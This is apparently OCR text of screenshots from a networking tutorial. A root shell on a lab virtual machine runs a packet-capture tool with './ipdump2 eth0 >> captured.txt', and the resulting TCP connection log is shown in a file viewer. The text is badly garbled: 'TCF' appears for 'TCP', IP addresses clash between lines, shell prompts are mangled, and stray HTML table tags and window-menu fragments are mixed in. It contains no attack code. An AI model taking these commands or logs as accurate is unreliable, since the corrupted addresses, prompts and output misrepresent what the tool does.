0-12 18:35:30 TCF: 200.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCF: 172.16.1.45 : 13160 → 200.132.177.50 : 28001 545 0-12 18:35:30 TCF: 200.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCF: 200.132.177.50 : 0 → 172.16.1.45 : 13 932 0-12 18:35:30 TCF: 172.16.1.45 : 0 → 200.132.177.50 : 13 52 0-12 18:35:30 TCF: 172.16.1.45 : 0 → 200.132.177.50 : 13 52 root@localhost ipdump2-prel]# /ipdump2 eth0 >> captured.txt root@localhost ipdump2-prel]#	0-12	18:35:30	TCF:	172.	16.1.45	:	28782	->	209.132.177.50	: :	26412	548				
0-12 18:35:30 TCP: 172.16.1.45: 11260 → 209.132.177.50: 28001 545 0-12 18:35:30 TCP: 209.132.177.50: 0 → 172.16.1.45: 13 932 0-12 18:35:30 TCP: 100.132.177.50: 0 → 209.132.177.50: 13 52 0-12 18:35:30 TCP: 172.16.1.45: 0 → 209.132.177.50: 13 52 0-12 18:35:30 TCP: 172.16.1.45: 0 → 209.132.177.50: 13 52 root@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt root@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt	0-12	18:35:30	TCP:	209.132	.177.50	:	0	->	172.16.1.45	: 1	13	584				
0-12 18:35:30 TCF: 200.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCF: 200.132.177.50 : 0 → 172.16.1.45 : 13 932 0-12 18:35:30 TCF: 172.16.1.45 : 0 → 200.132.177.50 : 13 52 0-12 18:35:30 TCF: 172.16.1.45 : 0 → 200.132.177.50 : 13 52 root6localhost ipdump2-prel}# ./ipdump2 eth0 >> captured.txt root6localhost ipdump2-prel}#	0-12	18:35:30	TCF:	172.	16.1.45	:	11369	->	209.132.177.50	: :	28001	545				
0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 932 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 root@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt root@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt	0-12	18:35:30	TCP:	209.132	.177.50	:	0	->	172.16.1.45	: :	13	584				
0-12 18:35:30 TCP: 172.16.1.45 : 0 → 200.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 200.132.177.50 : 13 52 root@localhost ipdump2-prel}# ./ipdump2 eth0 >> captured.txt root@localhost ipdump2-prel}#	0-12	18:35:30	TCF:	209.132	.177.50	:	0	->	172.16.1.45	: :	13	932				
0-12 18:35:30 TCF: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 root@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt root@localhost ipdump2-prel]# v	0-12	18:35:30	TCP:	172.	16.1.45	:	0	->	209.132.177.50	: :	13	52				
root@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt root@localhost ipdump2-prel]#	0-12	18:35:30	TCP:	172.	16.1.45	:	0	->	209.132.177.50	: :	13	52				
root0localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt root0localhost ipdump2-prel]#																
root@localhost ipdump2-prel]#	root@	localhost	ipdun	p2-pre1]	# ./ipd	1mg	2 eth	>>>	captured.txt				- 田田			
root@localhost ipdump2-pre1]#			1000	124111122												
	root@	localhost	ipdun	p2-pre1]	#								¥ .			

By opening the file with a text editor the contents of the **captured.txt** file are ready for analysis.

Bit Wordward Wordward <th< th=""><th>Red Hat Linux - YMware Workstation</th><th></th><th>عاما.</th></th<>	Red Hat Linux - YMware Workstation		عاما.
10000 1000000000000000000000000000000000000	File Edit View VM Team Windows Help		
10 C			
Nonserver Outcome			
Captured.itt → ● → ●	🛧 Home 📳 Windows 2000 Protessional 🛛 🕋 Red Hat Linux 👔 Red Hat Linux 8 Server 🖉	Windows 2000 Server	Ti Vindows 4 > 3
ie Edit View Co Bookmarks Help Back Forward Up Stop Rehaad Home Location: foothtools/lptool/pdump2-prel/captured.txt View as Text View as Text 12 1835:85 TCP: 172.16.1.45:0 > 200.132.177.50:0 52 12 1835:86 TCP: 172.16.1.45:0 > 200.132.177.50:0 52 12 1835:86 TCP: 172.16.1.45:0 > 200.132.177.50:0 52 12 1836:00 trcp: 172.16.1.45:15 1557 52 12 183:00 trcp: 172.16.1.45:15 1557 52 12 183:00 trcp: 172.16.1.45:1557 1567 52 12 183:00 trcp: 162.33.187.99:13657 46 121.16.1.45:15678 40 12 183:00 trcp: 172.16.1.45:18639 420.13.167.99:16678 40 121.18.109:1676 42 12 183:00 trcp: 172.16.1.45:16678 160768 12 121.16.1.45:16678 12 12 183:00 trcp: 172.16.1.45:16809 200.132.177.50:16678 1607 12 121.16.1.45:16678 12 <t< th=""><th>Captured txt</th><th></th><th></th></t<>	Captured txt		
gire	File File Mars Co. Backwards Male		
Back Forward Up Stop Rehaal Home Location: /root/tools/ptool/ptool/ptomp2-pres/Laptured.txt View as Text View as Text 121 883558 TCP. 172.16.1.45: 0. > 209.132.177.00: 0. 52 121 883568 TCP. 172.16.1.45: 0. > 209.132.177.00: 0. 52 121 883568 TCP. 172.16.1.45: 0. > 22 172.16.1.45: 0. 52 121 88360 Unsupported IP protocol 17 - 172.16.1.45: 0.1587 52 - - 121 88360 Unsupported IP protocol 17 - 172.16.1.45: 11587 572 - <t< th=""><th>File Fait Alew Po Bookuranks Helb</th><th></th><th></th></t<>	File Fait Alew Po Bookuranks Helb		
Back Forward Up Stop Refaxal Home Location: /root/tools/ptool/pdump2-pre1/captured.txt View as Text ▼ 12 18 35:58 TCP: 172.16.1.45: 0 \Rightarrow 209.132.177.50: 0 52 12 1835:58 TCP: 172.16.1.45: 28788 \Rightarrow 64.233.187.99: 11587 572 12 1836:00 TCP: 172.16.1.45: 28788 \Rightarrow 64.233.187.99: 11587 572 12 1836:00 TCP: 64.233.187.99: 28788 \Rightarrow 172.16.1.45: 11587 46 12 1836:00 TCP: 64.233.187.99: 28788 \Rightarrow 172.16.1.45: 11587 46 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 60.233.187.99: 16678 1470 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 60.233.187.99: 16678 1470 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 60.233.187.99: 16678 147 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 60.233.187.99: 16678 126 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 60.233.187.99: 16678 126 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 60.2132.177.50: 16678 126 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 60.2132.177.50: 16678 126 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 209.132.177.50: 16678 52 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 209.132.177.50: 16678 52 12 1836:00 TCP: 172.16.1.45: 38639 \Rightarrow 209.132.177.50: 16678 52 12 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 12 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 12 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 13 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 13 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 14 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 13 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 13 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16678 52 13 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16878 52 13 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 16892 52 13 1836:00 TCP: 172.16.1.45: 26499 \Rightarrow 209.132.177.50: 15892 52 13 1836:00 TCP: 172.16.1.45: 26495 \Rightarrow 203.132.177.50: 15825 2 13 1836:00 TCP: 172.16.1.45: 2855 \Rightarrow 203.132.177.50: 15855 52 13 1836:00 TCP: 172.175.1758 \Rightarrow 212.16.1.45: 2835 \Rightarrow 203.132.175.50: 1855 52 13 1836:00 TCP: 172.16.145: 2855 \Rightarrow 203.132.17			CON 1
Back Provide Up Stop Refaul Penne Location //root/roots/ptool/pdump2-perl/captured.txt View as Text ▼ 12183558 TCP: 1279.12.145:0 → 209.1122.17.50:0 52 12182558 TCP: 209.132.17.50:0 → 172.16.145:1557 46 12182604 TCP: 1272.61.45:28788 → 64.333.187.99:11587 46 12182604 TCP: 64.233.187.99:28788 → 172.16.145:1557 46 12182604 TCP: 1272.61.45:38839 → 64.333.187.99:36578 1470 12182604 TCP: 1272.61.45:38839 → 64.333.187.99:36578 1470 12182605 TCP: 1272.61.45:38839 → 60.332.177.50:36678 52 12182605 TCP: 1272.61.45:38839 → 209.132.177.50:36678 52 12182605 TCP: 1272.61.45:26939 → 209.132.177.50:3678 52 12182605 TCP: 1272.61.45:26939 → 209.132.177.50:375 52 12182605 TCP: 1272.61.45:26939 → 209.132.177.50:375 52 12182605 TCP: 1272.61.45:26939 → 209.132.177.50:375 52 12182605 TCP: 1272.61.45:26959 → 209.132.177.50:375 52 12182605 TCP: 1272.61.45:3855 → 209.132.177.50:375 52 12182605 TCP: 1272.61.45:3855 → 209.132.177.50:375 52 12182605 TCP: 1272.61.45:3855 → 209.132.177.50:375 52			
Location: /root/tools/ptool/pdump2-pre1/captured.txt View as Text ▼ 11083558 TCP: 172.16.145: 0 → 200.132.177.50: 0 52 12183658 TCP: 2009.132.177.50: 0 → 172.16.145: 0 52 12183660 TCP: 0 + 172.16.145: 28788 → 0 + 172.16.145: 11567 46 12183600 TCP: 0 + 123.187.99: 28788 → 172.16.145: 11567 46 12183600 TCP: 0 + 123.187.99: 126878 → 172.16.145: 11567 46 12183600 TCP: 0 + 123.187.99: 126878 → 172.16.145: 11567 46 12183600 TCP: 0 + 123.187.99: 126878 → 172.16.145: 11567 46 12183600 TCP: 0 + 123.187.99: 13683 → 0 + 123.187.99: 16678 126 12183600 TCP: 0 + 123.187.99: 13639 → 0 + 123.187.99: 16678 126 12183600 TCP: 0 + 123.187.99: 13639 → 0 + 123.187.99: 16678 126 12183600 TCP: 172.16.145: 13639 → 200.132.177.50: 16678 126 12183600 TCP: 172.16.145: 13639 → 200.132.177.50: 16678 125 12183600 TCP: 172.16.145: 13639 → 200.132.177.50: 16678 52 12183600 TCP: 172.16.145: 13639 → 200.132.177.50: 16678 52 12183600 TCP: 172.16.145: 13639 → 200.132.177.50: 16678 52 12183600 TCP: 172.16.145: 12693 → 200.132.177.50: 16678 52 12183600 TCP: 172.16.145: 12693 → 200.132.177.50: 16678 52 12183600 TCP: 172.16.145: 12693 → 200.132.177.50: 16678 52 12183600 TCP: 172.16.145: 126939 → 200.132.177.50: 16697 52 12183600 TCP: 172.16.145: 12693 → 200.132.177.50: 16697 52 12183600 TCP: 172.16.145: 126939 → 200.132.177.50: 16697 52 12183600 TCP: 172.16.145: 12690 → 200.132.177.50: 16592 574 12183600 TCP: 172.16.145: 12690 → 200.132.177.50: 16592 574 12183600 TCP: 172.16.145: 12690 → 200.132.177.50: 15692 574 12183600 TCP: 172.16.145: 12690 → 200.132.177.50: 15692 574 12183600 TCP: 172.16.145: 12690 → 200.132.177.50: 15692 574 12183600 TCP: 172.16.145: 120312.177.50: 15692 574 12183600 TCP: 172.16.145: 120312.177.50: 15692 574 12183600 TCP: 172.16.145: 120312.177.50: 15692 574 12183600 TCP: 172.16.145: 2000 → 200.132.177.50: 15692 574 1	Back Forward Up Stop Reload Home		
$\begin{array}{c c c c c c c c c c c c c c c c c c c $	Location: /root/tools/iptool/ipdump2-pre1/captured.txt	View	as Text 🐮
121 B35938 TCP: 209,132,177,50: 0 → 172,16,1.45: 0 52 121 B36,00 mission pontrol IP provides 17 121,61,45: 28788 → 64,233,187,99: 11587 572 121 B36,00 mission pontrol IP provides 28788 → 122,16,1.45: 11587 46 121 B36,00 mission pontrol IP provides 38,00 mission point Point Pontrol 17, 122,16,1.45: 128788 → 122,16,1.45: 128788 → 121 B36,00 mission pontrol IP provides 38,00 mission point Point Pontrol 17, 123,16,145: 13887 46 121,18,000 mission point Pontrol 17, 123,16,145: 13867 46 121 B36,00 mission point Pontrol 17, 123,16,145: 138879 → 66,233,187,99: 136679 ±172,16,145: 136879 ±070 121,81,000 mission point Pontrol 17, 123,16,145: 136879 → 66,233,187,99: 136679 ±172,16,145: 136879 ±070 121 B36,00 mission point Pinteron 17, 123,16,145: 136879 → 0,232,177,50: 136678 ±07 121,183,000 mission point Pinteron 17,18,14,145: 16678 ±072 121 B38,00 mission point Pinteron 17,18,14,145: 14678 ±1678 ±07 121,183,000 mission point Pinteron 17,18,14,145: 14678 ±074 121,18,145: 1269,000 ±00,132,177,50: 16678 ±074 121 B38,000 mission pinteron 17,18,14,145: 14678 ±1678 ±074 121,18,145: 1269,132,177,50: 126,145: 126,	0-12 18 35:58 TCP: 172.16.1.45:0 → 209.132.177.50:0 52	1 Lineare	-
12 18 86:02 unsupported 1P protocol 17 12 18 86:02 unsupported 1P protocol 17 12 18 80:04 TCP: 172.16.145: 12878 ⇒ 64:233.187.99:11587 572 12 18 18:00 TCP: 64:233.187.99:28788 ⇒ 172.16.145:11587 46 12 18 18:00 TCP: 64:233.187.99:28788 ⇒ 172.16.145:11587 46 12 18 18:00 TCP: 64:233.187.99:38639 ⇒ 172.16.145:11587 46 12 18 18:00 TCP: 172.16.145: 138639 ⇒ 423.187.99:16578 10 12 18 18:00 TCP: 172.16.145: 38639 ⇒ 127.16.145:16578 12 12 18 18:00 TCP: 172.16.145: 38639 ⇒ 209.132.177.50: 36678 52 12 18 18:00 TCP: 172.16.145: 38639 ⇒ 209.132.177.50: 36678 52 12 18 18:00 TCP: 209.132.177.50: 38699 ⇒ 172.16.145: 16678 52 12 18 18:00 TCP: 209.132.177.50: 38699 ⇒ 127.16.145: 16678 52 12 18 18:00 TCP: 209.132.177.50: 28699 ⇒ 102.116.145: 16678 52 12 18 18:00 TCP: 209.132.177.50: 28699 ⇒ 209.132.177.50: 16678 52 12 18 18:00 TCP: 209.132.177.50: 28699 ⇒ 209.132.177.50: 16678 52 12 18 18:00 TCP: 209.132.177.50: 24690 ⇒ 209.132.177.50: 16678 52 12 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 16678 52 12 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 16678 52 12 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 16497 52 12 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 16497 52 12 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 16497 52 12 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 16495 52 13 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 16495 52 13 18 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 1750 52 13 18:00 TCP: 172.16.145: 26699 ⇒ 209.132.177.50: 1750 52 13 18:00 TCP: 172.16.145: 26698 ⇒ 209.132.177.50: 1750 52 13 18:00 TCP: 172.16.145: 2855 ⇒ 209.132.177.50: 1575 52 13 18:00 TCP: 172.16.145: 2855 ⇒ 209.132.177.50: 1575 52 13 18:00 TCP: 209.132.177.50: 1882 ⇒ 172.16.145: 1875 1420 13 18:00 TCP: 209.132.177.50: 1882 ⇒ 172.16.145: 2313.1490 13 18:00 TCP: 209.132.177.50: 1882 ⇒ 172.16.145: 231	0-12 18:35:58 TCP: 209.132.177.50:0 -> 172.16.1.45:0 52		2
121 B3:00 T CP: 122.16.1.45: 28788 → 64.233.187.99: 11587 572 121 B3:00 T CP: 64.233.187.99: 28788 → 172.16.1.45: 11587 46 121 B3:00 T CP: 64.233.187.99: 28788 → 172.16.1.45: 11587 46 121 B3:00 T CP: 64.233.187.99: 28788 → 172.16.1.45: 11587 46 121 B3:00 T CP: 172.16.1.45: 18839 → 64.233.187.99: 36678 40 121 B3:00 T CP: 172.16.1.45: 18839 → 64.233.187.99: 36678 40 121 B3:00 T CP: 172.16.1.45: 18839 → 64.233.187.99: 36678 40 121 B3:00 T CP: 172.16.1.45: 18839 → 64.233.187.99: 36678 52 121 B3:00 T CP: 172.16.1.45: 18839 → 209.132.177.50: 16678 52 121 B3:00 T CP: 172.16.1.45: 36839 → 209.132.177.50: 16678 52 121 B3:00 T CP: 172.16.1.45: 36839 → 209.132.177.50: 16678 52 121 B3:00 T CP: 172.16.1.45: 36839 → 209.132.177.50: 16678 52 121 B3:00 T CP: 172.16.1.45: 36839 → 209.132.177.50: 16678 52 121 B3:00 T CP: 172.16.1.45: 12690 → 209.132.177.50: 16692 52 121 B3:00 T CP: 172.16.1.45: 12690 → 209.132.177.50: 16692 52 121 B3:00 T CP: 173.175.0: 2480 → 172.16.1.45: 11895 52 121 B3:00 T CP: 172.16.1.45: 12805 → 172.16.1.45: 11875 1420 121 B3:00 T CP: 173.175.0: 2480 → 172.16.1.45: 11875 52 121 B3:00 T CP: 173.	0-12 18:36:02 unsupported IP protocol 17		12
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$.0-12 18:36:04 TCP: 172.16.1.45: 28788 -> 64.233.187.99: 11587 572		
121 B3:004 TCP: 64:233.187.99:28788 → 172.16.1.45:11587 46 121 B3:004 TCP: 172.16.1.45:13839 → 64:333.187.99:36678 470 121 B3:004 TCP: 172.16.1.45:13839 → 64:333.187.99:36678 400 121 B3:004 TCP: 172.16.1.45:13839 → 64:333.187.99:36678 400 121 B3:004 TCP: 172.16.1.45:13839 → 64:333.187.99:36678 400 121 B3:005 TCP: 172.16.1.45:13839 → 00.132.177.50:16678 52 121 B3:005 TCP: 172.16.1.45:13839 → 209.132.177.50:16678 52 121 B3:005 TCP: 172.16.1.45:13849 → 209.132.177.50:16892 52 121 B3:005 TCP: 172.16.1.45:14855 14020 122.121.145.15:14855 52 121 B3:005 TCP: 172.16.1.45:14855 14050 122.121.145.15:14855 52 121 B3:005 TCP: 172.16.1.45:13012.177.50:14845 52 123.177.50:14845 52 121 B3:005 TCP: 172.16.1.45:18125 1420 123.177.50:14845 52 121 B3:005 TCP	10-12 18:36:04 TCP: 64.233.187.99:28788 -> 172.16.1.45:11587 46		
$\begin{array}{c} 121 82:00 \ {\rm TCP} & (4.233.187.99 \ : 386.99 \ \sim & 172.16.1.45 \ : :6678 \ 4.0 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.163.187.99 \ : :6678 \ 4.0 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.161.45 \ : :6678 \ 4.0 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.161.45 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.182.177.50 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.121.75 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.121.75 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.121.75 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.121.75 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.121.75 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.121.175 \ : :6678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :386.99 \ \sim & 102.121.175 \ : :18678 \ 5.2 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ \geq 209.132.177.50 \ : :6692 \ : 52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ \geq 209.132.177.50 \ : :4692 \ : 52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ : 209.132.177.50 \ : :4695 \ : 52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ : 209.132.177.50 \ : :4695 \ : 52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ : 209.132.177.50 \ : :4695 \ : 52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ : 209.132.177.50 \ : :52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ : 209.132.177.50 \ : :52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :266.99 \ : 209.132.177.50 \ : :52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :826.59 \ : 209.132.177.50 \ : :52 \\ 121 83:00 \ {\rm TCP} & 172.16.1.45 \ : :826.59 \ : 209.132.177.50 \ : :52 \\ 121 13:10 \ : :107 \ : :103.177.50 \ : :1075 \ : $	0-12 18:36:04 TCP: 64.233.187.99:28788 -> 172.16.1.45:11587 46		
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	0-12 18:36:04 TCP: 64.233.187.99: 38639 -> 172.16.1.45: 36678 1470		
121 B1:004 TCP: 64:231.187.99:38639 → 172.161.445:16578 126 121 B1:004 TCP: 172.161.445:18839 → 122.167.05:18849 → 123.187.99:18678 160 121 B1:005 TCP: 172.161.445:18839 → 209.132.177.50:18678 60 17 121 B1:005 TCP: 172.161.445:18839 → 209.132.177.50:18678 50 121 B1:005 TCP: 172.161.445:18839 → 209.132.177.50:18678 50 121 B1:005 TCP: 172.161.445:18839 → 209.132.177.50:18678 52 121 B1:005 TCP: 172.161.445:18839 → 209.132.177.50:18678 52 121 B1:005 TCP: 172.161.445:18839 → 209.132.177.50:18692 52 121 B1:005 TCP: 172.161.445:18839 → 209.132.177.50:18692 52 121 B1:005 TCP: 172.161.445:18693 209.132.177.50:18692 52 121 B1:005 TCP: 172.161.45:18693 209.132.177.50:18692 52 121 B1:005 TCP: 172.161.45:18675 122 12 123.181.05 122 121 B1:005 TCP: 172.161.45:18013.121.77.50:12495 123.121.77.50:12495 123.121.77.50:12495 123.121.77.50:12495 123.121.77.50:12495 123.123.121.123.121.123.123.123.123.123.	0-12 18 36:04 TCP: 172-16.1.45 : 38639 > 64.233.187.99 : 36678 40		
121 18:005 TCP: 127.6.1.45: 188.39 ↔ 04.238:187.99: 166.78: 40 121 18:005 TCP: 127.6.1.45: 188.39 ↔ 209.132.177.50: 166.78: 52 121 18:005 TCP: 127.6.1.45: 136.39 ↔ 209.132.177.50: 166.78: 52 121 18:005 TCP: 209.132.177.50: 136.39 ↔ 127.16.1.45: 166.78: 52 121 18:005 TCP: 127.6.1.45: 136.39 ↔ 209.132.177.50: 166.78: 52 121 18:005 TCP: 127.6.1.45: 136.39 ↔ 209.132.177.50: 166.78: 52 121 18:005 TCP: 127.16.1.45: 126.99 ↔ 209.132.177.50: 166.78: 52 121 18:005 TCP: 127.16.1.45: 126.99 ↔ 209.132.177.50: 126.992 52 121 18:005 TCP: 127.16.1.45: 126.990 ↔ 209.132.177.50: 126.995 52 121 18:005 TCP: 127.16.1.45: 126.990 ↔ 209.132.177.50: 126.995 52 121 18:005 TCP: 127.16.1.45: 126.990 ↔ 209.132.177.50: 126.995 52 121 18:005 TCP: 209.132.177.50: 126.990 ↔ 209.132.177.50: 126.995 52 121 18:005 TCP: 209.132.177.50: 126.990 ↔ 209.132.177.50: 116.975 52 121 18:005 TCP: 209.132.177.50: 126.990 ↔ 209.132.177.50: 126.975 52 121 18:005 TCP: 209.132.177.50:	0-12 18:36:04 TCP: 64.233.187.99: 38639 -> 172.16.1.45: 36678 126		
121 B3:06 TCP: 127.16.145: 19639 → 209.132.177.50: 15678 52 121 B3:06 TCP: 127.16.145: 13693 → 209.132.177.50: 15678 50 121 B3:06 TCP: 127.16.145: 13693 → 209.132.177.50: 15678 50 121 B3:06 TCP: 209.132.177.50: 3639 → 127.16.145: 16678 52 121 B3:06 TCP: 127.16.145: 13683 → 209.132.177.50: 15678 52 121 B3:06 TCP: 127.16.145: 126490 → 209.132.177.50: 15678 52 121 B3:06 TCP: 127.16.145: 126490 → 209.132.177.50: 15692 57 121 B3:06 TCP: 127.16.145: 26490 → 209.132.177.50: 15692 57 121 B3:06 TCP: 127.16.145: 26490 → 127.16.145: 1485 1420 121 B3:06 TCP: 127.16.145: 26000 → 209.132.177.50: 15678 52 121 B3:06 TCP: 209.132.177.50: 24490 → 172.16.145: 1485 1420 121 B3:06 TCP: 127.16.145: 25400 → 209.132.177.50: 15675 52 121 B3:06 TCP: 127.16.145: 25400 → 209.132.177.50: 15675 52 121 B3:06 TCP: 127.16.145: 2540 → 209.132.177.50: 1575 52 121 B3:06 TCP: 127.16.145: 8255 → 007.132.177.50: 1575 52 121 B3:06 TCP: 127.16.145: 8255 → 007.132.177.50: 1575 52 121 B3:06 TCP: 127.16.145: 8255 → 007.132.177.50: 15675 52 121 B3:06 TCP: 127.16.145: 8255 → 007.132.177.50: 1575 52 121 B3:06 TCP: 127.16.145: 8255 → 007.132.177.50: 1575 52 121 B3:06 TCP: 127.16.145: 8255 → 007.132.177.50: 15825 121 B3:06 TCP: 127.16.145: 11875 52 121 B3:06 TCP: 127.16.145: 8255 → 007.132.177.50: 15825 131 B3:06 TCP: 127.16.145: 8255 → 007.153.177.50: 15825 131 B3:06 TCP: 127.16.145: 11875 52 131 B3:06 TCP: 209.132.177.50: 15882 131 B3:06 TCP: 209.132.177.50: 15882 131 B3:06 TCP: 209.132.177.50: 15882 131 B3:06 TCP: 127.16.145: 11875 52 131 B3:06 TCP: 209.132.177.50: 15882 131 B3:06 TCP: 127.16.145: 11875 52 131 B3:06 TCP: 127.16.145: 11	0-12 18:36:04 TCP: 172.16.1.45: 38639 -> 64.233.187.99: 36678 40		
121 18:2005 TCP: 122.16.145: 138:39 → 209.132.177.50: 16678 60 121 18:3005 TCP: 209.132.177.50: 36819 → 172.16.145: 16678 52 121 18:3005 TCP: 209.132.177.50: 36819 → 172.16.145: 16678 52 121 18:3005 TCP: 172.16.145: 15839 → 209.132.177.50: 16692 52 121 18:3005 TCP: 172.16.145: 26490 → 209.132.177.50: 16495 52 121 18:3005 TCP: 172.16.145: 26490 → 172.16.145: 16495 52 121 18:3005 TCP: 172.16.145: 26490 → 172.16.145: 16495 52 121 18:3005 TCP: 172.16.145: 25495 → 209.132.177.50: 15495 52 121 18:3005 TCP: 172.16.145: 15495 → 209.132.177.50: 15495 52 121 18:3005 TCP: 172.16.145: 18525 → 209.132.177.50: 15495 52 121 18:3005 TCP: 172.16.145: 18525 → 209.132.177.50: 15495 52 121 18:3005 TCP: 209.112.177.50: 15482 → 172.16.145: 11875 152 121 18:3005 TCP: 209.112.177.50: 15482 → 172.16.145: 21313: 1420 121 18:3005 TCP: 209.112.177.50: 15482 → 172.16.145: 2313. 1420 121 18:3005 TCP: 209.112.177.50: 15482 → 172.16.145: 2313. 1420 121 18:3005 TCP: 209.112: 177.50: 15482 → 172.16.145: 2313. 1420 121 18:3005 TCP: 209.112: 177.50: 15482 → 172.16.145: 2313. 1420 121 18:3005 TCP: 209.112: 177.50: 15482 → 172.16.145: 2313. 1420 121 18:3005 TCP: 209.112: 177.50: 15482 → 172.16.145: 2313. 1420 121 18:3005 TCP: 209.112: 177.50: 15482 → 172.16.145: 2313. 1420 121 18:3005 TCP: 209.112: 177.50: 15482 → 172.16.145: 2313. 1420 121 18:	0-12 18:36:05 TCP: 172.16.1.45: 38639 -> 209.132.177.50: 36678 52		
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	0-12 18:36:05 TCP: 172.16.1.45: 38639 -> 209.132.177.50: 36678 60		
121 B3:005 TCP: 200,132,177,50: 36639 → 172.16.145: 36678 60 121 B3:005 TCP: 127.16.145: 36839 → 200,132,177,50: 16692 52 121 B3:005 TCP: 127.16.145: 36839 → 200,132,177,50: 16692 52 121 B3:005 TCP: 200,122,177,50: 26400 → 127.16.145: 16495 52 121 B3:005 TCP: 200,132,177,50: 26480 → 172.16.145: 16495 52 121 B3:005 TCP: 127.16.145: 26495 → 201,322,177,50: 14695 52 121 B3:005 TCP: 127.16.145: 26495 → 127.16.145: 16495 52 121 B3:005 TCP: 127.16.145: 26495 → 127.16.145: 16495 52 121 B3:005 TCP: 127.16.145: 32455 → 107.16.145: 11495 1420 121 B3:005 TCP: 127.16.145: 32455 → 107.16.145: 114975 152 121 B3:005 TCP: 127.16.145: 32455 → 107.16.145: 114975 152 121 B3:005 TCP: 127.16.145: 32852 → 200,312,177,50: 115875 52 121 B3:005 TCP: 127.16.145: 32852 → 200,312,177,50: 114575 52 121 B3:005 TCP: 127.16.145: 32852 → 200,312,177,50: 114975 52 121 B3:005 TCP: 127.16.145: 32852 → 200,312,177,50: 114975 52 121 B3:005 TCP: 127.16.145: 32852 → 200,312,177,50: 114975 52 121 B3:005 TCP: 127.16.145; 32852 → 200,312,177,50: 114975 52 121 B3:005 TCP: 127.00: 14882 → 127.16.145: 114975 1420 121 B3:005 TCP: 127.16.145; 32852 → 200,312,177,50: 114975 52 121 B3:005 TCP: 200,112,177,50: 11492 → 172,16.145: 21313: 1420 121 B3:005 TCP: 200,112,177,50: 11492 → 172,16.145: 